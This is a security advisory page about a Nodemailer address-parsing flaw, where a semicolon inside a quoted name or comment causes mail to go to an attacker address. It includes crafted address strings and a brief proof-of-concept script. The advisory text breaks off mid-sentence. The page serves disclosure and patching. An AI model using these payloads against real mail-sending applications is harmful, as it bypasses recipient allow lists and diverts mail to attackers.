GHSA-m943-m63m-w62w - Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient
### Vulnerability summary
addressparser ends an RFC 5322 group at the first `;`, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. `G: (a; <evil@evil.com>) <v@victim.com>;` names only `v@victim.com`, and Nodemailer read it as the single recipient `evil@evil.com`. Affected: 3.0.0 through 10.1.3.
### Attacker capabilities
The attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects.
### Realistic exploitation scenario
An application validates the recipients of a submitted address list with a conformant parser and only allows addresses at its own domain. The attacker submits `G: (a; <evil@evil.com>) <v@victim.com>;`. The validator sees one mailbox, `v@victim.com`, and approves it. Nodemailer delivers to `evil@evil.com` only. The same works through a quoted display name, `G: "a;" "<evil@evil.com>" <v@victim.com>;`. The boundary crossed is the application's recipient allow list.
### Proof of concept
```js
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("G: (a; <evil@evil.com>) <v@victim.com>;"));
// [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ]
```
Python's `email._header_value_parser.get_address_list` reads the same value as the single mailbox `v@victim.com`, with no defects reported.
The envelope a message gets is built from the same parse, so `sendMail({ to: "G: (a; <evil@evil.com>) <v@victim.com>;" })` issues the RCPT TO shown above.
### Security impact
Mail that an application intends for an approved recipient goes to a rec
MEDIUM
Severity & confidence
Source severitymedium
Platform severitymedium
Confidencemedium
Exploitationunknown
CVSS6.5
Affected
Vendorsnodemailer
Productsnodemailer
Reporting sources (1)
GitHub Security Advisories
Timeline & provenance
Published2026-10-23T21:51:52
Last updated2026-10-27T18:57:28
Ingested2026-10-23T22:03:29
FreshnessNEAR-REAL-TIME
Threat typeadvisory
Recommended action
Review the advisory and upgrade affected packages to the first patched version.
Next steps
- Identify affected systems in your environment.
- Apply the vendor patch or mitigation guidance.
- Review logs for indicators described in the advisory.
- Follow the affected vendor/product to track updates.
Confidence explanation
Reported by a single or secondary source; treat as indicative, verify before acting.
Source type: vendor ยท Original: GitHub Security Advisories